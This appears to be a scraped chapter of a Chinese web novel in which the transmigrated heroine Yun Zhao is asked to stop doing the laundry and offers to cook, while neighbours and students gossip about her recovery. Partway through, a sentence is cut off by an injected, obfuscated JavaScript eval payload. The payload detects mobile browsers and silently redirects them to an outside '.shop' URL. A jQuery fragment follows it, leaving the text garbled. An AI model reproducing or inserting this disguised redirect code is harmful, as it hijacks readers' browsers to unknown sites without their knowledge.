直到晚上,也没见方家人上门找茬,云家人不由得松了口气。
西边的小房间内,阿秀看着手中的两件粗布衣赏,目中露出无奈。她看了眼云昭,正坐在院子里无聊的喂鸡,见她没注意这边,阿秀拿起床上的几件衣服,小心翼翼的向着堂屋走去。
云母正站在灶台边,翻炒着锅里的菜,云父坐在柴火边,正朝着灶膛里扔柴火,云朗则是在一旁的桌上陪着小冬瓜玩小木马。
云母将菜乘到盘子里,打算将盘子端到桌上,转身就瞧见阿秀一脸纠结。
“阿秀,咋了?”
阿秀看了婆婆一眼,面上露出一丝无奈,将手中的衣裳拿起,凑到云母眼前
“娘,你看。”
云母下意识朝着她手上看去,只见她拿着一件杏色的上衣和一件褐色的上衣,分别是她和云朗常穿的衣裳。
光线昏暗,阿秀将衣裳凑到云母面前,云母眯着眼,忽的瞧见两个不大不小的破洞,她面上一愣,就听阿秀压低声音,无奈说道
“娘,自从昭昭洗衣之后,我们的衣裳破的都比以往还要勤了。”
云母诧异抬眸,就见儿媳一脸无奈看向院子里的昭昭,云母不由望去,忽然反应过来,难怪自己最近的衣服也破的越频繁起来,云母还怀疑是不是干活的时候给崩裂了,此时看到不远处的云昭,顿时恍然大悟。
村里妇人洗衣都是用棒槌,可使用棒槌也是有一定技巧的,并不是哐哐一顿敲,恰恰相反不能太过用力。云昭定是不知道其中的奥妙,想着使劲敲才能将脏污敲打出来。
“娘,昭昭洗的干净是干净,不过,再这样下去,衣服都不够穿了。”
云母看向一脸无奈的阿秀,低声说道“先吃饭吧,等会再说。”
阿秀闻言,点了点头,又悄悄将衣服送回屋里。
云昭呢,尚且不知自己的杰作。她正看着鸡舍里的鸡,凝神想着如何发家致富,可一想,居然发现自己除了会死读书,居然连一项拿得出手的技能都没有。
想当初考上农学专业,也不过是因为分数不够填报其他学校,迫于无耐选择了本省的农业大学,想着离家近一点,时常能回去看看姥姥。
如果按计划发展,云昭应该会选择继续深造,科研教学,努力进入研究院,进不去的话好歹也要考个农业局、植保站等事业单位或公务员。
结果居然撞上穿越这么时髦的事,计划被彻底打乱,看着落后贫困的村镇,云昭不免束手无措起来,搞科研,她尚且可以,可是古代没有条件实施。要说靠种地发财,那就不是一点两点的难了。
算了,先想个办法,去云家的一亩三分地看看,再想想有没有什么赚钱的路子。
“昭昭!吃饭啦!”
“哎!来啦!”
屋里传来云母的呼唤,云昭回过神来,向堂屋走去。桌上摆了五个菜,除了一条鱼,其他都是素菜,绿油油的青菜里零星飘浮着几点小肉渣,这还是云母在腊肉上一点一点割下来的,一条腊肉云家能吃上整整两个月。
难怪,除了小冬瓜,这一家子都是瘦子,天天这么吃,想胖都胖不了,云昭心下轻叹了口气,端起了碗。
很快就吃完了饭,云昭正要起身收拾碗筷,云母忽的将她叫住
“昭昭,娘…有事要和你说。”
云母的语气有些奇怪,云昭停下拿碗的动作一顿,下意识抬头看去。
云母瞧见云昭疑惑的眼神,面上露出一丝不好意思,柔声说道“昭昭啊,明天开始衣服你就别洗了,娘来洗吧。”
“娘,你是觉得我洗的不干净吗?”
浑圆的杏眸无辜的看向自己,云母面上一窒,正想着如何委婉开口,一旁的云朗大大咧咧说道
“昭昭啊,哥哥衣服都给你洗破两件了,你嫂子补都来不及,听话啊,你就在家看着小冬瓜,咱们不用你做事,衣服就让娘和你嫂子洗吧。”
云昭闻言一愣,忽的心下升起几分不好意思。
阿秀未料到云朗说话如此直接,瞧着云昭面上似闪过尴尬,连忙捣了他一肘子。
“哎呦!”
云朗被捣的痛呼出声,下意识看向媳妇,就见阿秀不客气的瞪了一眼,顿时不敢吱声。
“昭昭,你能帮我们洗衣服,我们都很开心呢,不过,你的手劲用的太大了。”阿秀看着神色不明的云昭,连忙出声安慰道。
“嫂子跟你说,你没洗惯这很正常,你哥说的对,你就在家看着小冬瓜,再喂喂咱们家的鸡,其他的事就交给我们!”
云昭心下微哂,看向面前的家人,就见他们似害怕打击自己的自信,对着云朗露出警告的眼神,云朗则一脸尴尬,无奈挠头。
云昭原还有些不好意思,瞧见这一幕不由得露出了笑容。也好,正愁着最近洗衣服老是有越来越多的村民围观,照这样下去,洗衣服也洗的不安生,那就让云母和阿秀去洗吧。
想到这她心下一松,一低头,目光对上桌上的碗筷,眼前一亮。
“娘,要不这样,我负责在家烧饭,你们觉得怎么样?”
“失落”的少女忽然抬眸,眼中露出灼灼亮光,一脸期待的看向众人。云母看着一脸积极的云昭,踌躇说道“昭昭……你会烧饭吗?”
“是啊,昭昭,你以前可从来没烧过饭!”云朗也是一脸惊讶看向云昭,一旁的嫂子也是同样的神情。
云昭看着一脸担忧的几人,自信的拍了拍手“放心吧!明天开始就由我来做饭,娘,你中午就别回了,我做好了饭给你们送过去!”
“昭昭,你真的可以吗?”
云母一脸狐疑看向面前的女儿,就见她极认真的点了点头,眼中露出自信满满。
翌日,天刚刚亮,阿秀就端着木盆去池塘边洗衣。与以往不同的是,平日并不太熟悉的小媳妇们居然开始和她搭话
“阿秀,听说你家小姑子恢复正常了?”
阿秀抬头就见周围的妇人们一脸八卦的看向自己,她微微一笑,并不说话,只是点了点头。
众人见状,越发好奇,连忙问道“怎么突然好了?是看了大夫吗?听说云昭现在变得可好看了,是真的吗?”
“不是变,昭昭她本来就很好看。”
阿秀拧干手里的衣服,面上露出愉悦的笑容,端起木盆转身离去。
“哎呦,她的嘴可真紧!”
“是啊!神秘兮兮的,真是会卖关子!”
身后传来妇人的闲言碎语,阿秀听的清楚,却并未理会,心情极好的朝着云家小院走去。
“昭昭,那今天的午饭就交给你了!”
云母交代完,最后不放心的看了云昭一眼,就见她笑意盈盈的点头看着自己,虽有些不放心,但想到女儿自恢复正常之后,说话做事甚是稳妥,于是也不再说什么,扛着农具朝着田间走去。
云昭看着云母身影渐渐走远,关上了院门,转身朝屋里走去。
“老爷,听说云昭恢复神智了?”
闻誉正坐在桌边用着在早点,闻夫人端着一盘白玉般的馒头,一脸好奇的看向闻誉。
“嗯?妇人此话何意?”闻誉拿馒头的手一顿,一脸疑惑的看向夫人。
闻夫人瞧见他的神色,顿时了然,丈夫想必还未听闻村里的最新消息,她拎起裙摆在一旁的椅上坐下,目光灼灼看向丈夫
“你还不知道吧?听说云老二家的傻姑娘云昭恢复神智了?”
“此话当真?夫人从何听闻?”闻誉神色一震,连忙问道。
“这...村里都传遍了!村民们都在议论呢,听说那丫头不仅恢复神智,还长得貌若天仙,也不知真的假的……”
闻夫人从盘子里拿起一个馒头,撕成小片正要送进嘴里,就听到丈夫惊讶的站起了身呓语“难怪……”
“难怪什么?”闻夫人看着恍然大悟的丈夫,秀丽的面上露出疑惑。
“那天我去找云老二,老远就听见他家小孙子大喊什么阿姑又傻了……我正怀疑是不是听错了,就见他一家人神色慌张跑回了家,想来…云昭那时就恢复神智了……”
“可是那丫头不是从小就傻嘛,怎么会突然恢复神智了呢?难不成淹水还给她淹好了?”闻夫人露出不可思议的神情。
“夫人慎言!”
闻誉听到这话,神色黯下,低声提醒,闻夫人瞧见丈夫神情,立即醒悟过来。
云昭落水的内幕他们自然知晓,好不容易这事就要过去,还是不要轻易提起,引得他人注意,思及此,闻夫人连忙噤了声。
门后,闻晏蹙着眉,将外面的对话听的一清二楚。按理说,如果云昭恢复神智,必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17679662|206504||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
然得知是自己将她推下水中,可过了这么久,云家不仅不追究,云昭也未曾来找过自己,实在是有些古怪。
难道说,云昭恢复神智,忆起自己的可笑行为,无颜面对他?
闻晏想着,目中疑惑更甚。
“爹,娘,我去书院了!”
闻父闻母回头,就见闻晏身影出现在门外,二人默契相视,敛去目中光芒天。闻夫人瞧见闻晏转身就要走,急声唤道“阿晏,刚蒸的馒头,吃点再走吧!”
闻晏看了眼外面的日头,今早居然不知不觉起晚了,坐下来吃饭怕是来不及了,随手拿起了一个馒头“我走了。”
高大俊朗的身影消失在门外,闻夫人叹了口气“这孩子,小时候还活泼的很,越长大这是越不爱说话了……”
闻誉看了眼妻子,无奈摇头一笑。闻夫人转头就见他悠哉悠哉的吃着馒头,面上露出疑惑
“阿晏都走了,你怎么还不急不慌的?不是快迟到了?”
“哦,我早晨没课,晚点再走也来得及。”
说完,他又拿起一个馒头,就着闻夫人腌制的酱菜,一脸满足的吃了起来,闻夫人瞧见他的模样,不由得笑了起来“慢点吃,又没人跟你抢。”
闻誉看向夫人,爽朗一笑“夫人的手艺真是越来越好了。”
闻夫人闻言,面上露出笑容,嗔怪的看了他一眼。
闻晏挎着书袋,三两下吃完了一个拳头大的馒头,昂首阔步朝着书院走去。途径村后的小池塘,“砰砰砰!”的敲打声响起。
他脚步停滞,眼前忽的浮现冰肌玉骨的的少女蹲在岸边浣衣的情形。面上闪过一丝犹豫,闻晏转头朝池塘边看去。
三三两两的农妇们正蹲在岸边洗衣,手上动作不停,嘴上还叽叽喳喳闲聊着,闻晏迅速瞥了一眼,而后收回了目光,加快脚步朝着书院走去。
很快到了竹里书院,闻晏抬脚跨进了书院的大门,朝着里面走去。
经过靠外的窗户,喧哗吵闹的声音传来,闻晏眉头一蹙,停下了脚步,透过窗朝着里面望去。
只见方成龇牙咧嘴靠在身后的桌上,石头拿着一个煮熟的鸡蛋,小心翼翼的在他脸上滚着。
“哎呦!哎呦!轻一点!笨手笨脚的!”
方成捂着脸,不客气的朝着石头就是一个暴栗,石头捂着头,忙不迭小心点头。
“你们是没看见,那丫头长的可真俊,那皮肤白的跟鸡蛋似得,眼睛就像会说话一样,盯着人看,心都麻了!”
柱子活灵活现的说着,手还夸张的捧住了自己的心口,一副陶醉的模样。
“嘁!有那么夸张嘛!”
附近村上的几名学子瞧见他那模样,嗤之以鼻,露出怀疑的神色。
柱子见状“哎!”的一声,正要争辩,一旁围观的学子们连忙挤进来
“我作证!天柱哥说的没错!”
“我也看见了!我作证!”
“我也作证!”
“我作证!”
昨日同去的一帮人忽的起身,纷纷举手。
“真有那么好看?”
几人看向纷纷举手的少年,面面相视着面上露出狐疑的神色。转头看向神情恍惚的方成,一脸怀疑问道
“哎!方成!那个云昭真有这么好看!”
方成正一脸沉醉的回味着昨日的情形,目中渐渐露出痴迷的神色,听到这声,回过神来。
转头就见众人兴致勃勃的看着自己,他眉头一皱,哼道
“我今天把话放这了!云昭是我的!谁要是敢打她的主意,别怪老子翻脸不认人!”
说完,他眉头一竖,凶神恶煞的看着面前的众人。
众人闻言一征,还未回应,就见他毫不留情踹向几个柱子几人
“哎!”
“哎呦!”
“大成哥!你踢我们干啥?”
柱子、石头等人捂着腿肚子,一脸痛苦,一头雾水看向他,就见方成鼻青脸肿的面上一脸志在必得,他看向众人,目光沉沉说道
“以后见着云昭,都给我叫嫂子!听到没!”
“是是!”
“是!大成哥!”
窗外,闻晏瞧见方成鼻青脸肿,一脸得意的模样,嘴边溢出一声嗤笑,幽深的双眸暗下,朝着里间走去。